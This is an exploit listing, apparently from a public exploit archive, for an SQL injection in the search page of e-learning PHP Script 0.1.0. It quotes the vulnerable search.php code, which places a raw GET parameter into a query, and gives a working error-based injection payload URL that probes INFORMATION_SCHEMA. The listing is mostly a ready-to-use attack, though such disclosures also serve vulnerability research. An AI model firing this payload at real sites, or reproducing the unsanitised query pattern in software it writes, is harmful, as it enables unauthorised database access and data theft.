Elearning php script 0.1.0 search sql injection Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-07-01 | Type : webapps | Platform : php

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[+] Code ...

# Exploit Title: e-learning Php Script 0.1.0 - 'search' SQL Injection
# Date: 2020-06-29
# Exploit Author: KeopssGroup0day,Inc
# Vendor Homepage: https://github.com/amitkolloldey/elearning-script
# Software Link: https://github.com/amitkolloldey/elearning-script
# Version: 0.1.0
# Tested on: Kali Linux

Source code(search.php):
<?php
if(isset($_GET['search_submit'])){
$search_key = $_GET['search'];
$search = "select * from posts where post_keywords
like '%$search_key%'";
$run_search = mysqli_query($con,$search);
$count = mysqli_num_rows($run_search);
if($count == 0){
echo "<h2>No Result Found.Please Try With Another
Keywords.</h2>";
}else{
while($search_row =
mysqli_fetch_array($run_search)):
$post_id = $search_row ['post_id'];
$post_title = $search_row ['post_title'];
$post_date = $search_row ['post_date'];
$post_author = $search_row ['post_author'];
$post_featured_image = $search_row ['post_image'];
$post_keywords = $search_row ['post_keywords'];
$post_content = substr($search_row
['post_content'],0,200);
?>

Payload:
http://127.0.0.1/e/search.php?search=a&search_submit=Search
http://127.0.0.1/e/search.php?search=a'OR (SELECT 3475
FROM(SELECT COUNT(*),CONCAT(0x716b787171,(SELECT
(ELT(3475=3475,1))),0x7171787871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- IsDG&search_submit=Search